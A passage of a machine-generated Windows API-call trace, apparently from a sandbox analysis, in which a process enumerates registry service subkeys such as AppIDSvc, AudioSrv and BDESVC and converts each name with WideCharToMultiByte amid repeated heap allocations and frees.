lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.166] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.166] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.167] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.167] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.167] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0251.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.168] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.168] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.168] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.168] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0251.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.169] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.169] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.169] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0251.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.169] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.170] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.170] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f18e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.170] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.170] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.171] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.171] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.171] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0251.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.172] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0251.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0251.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 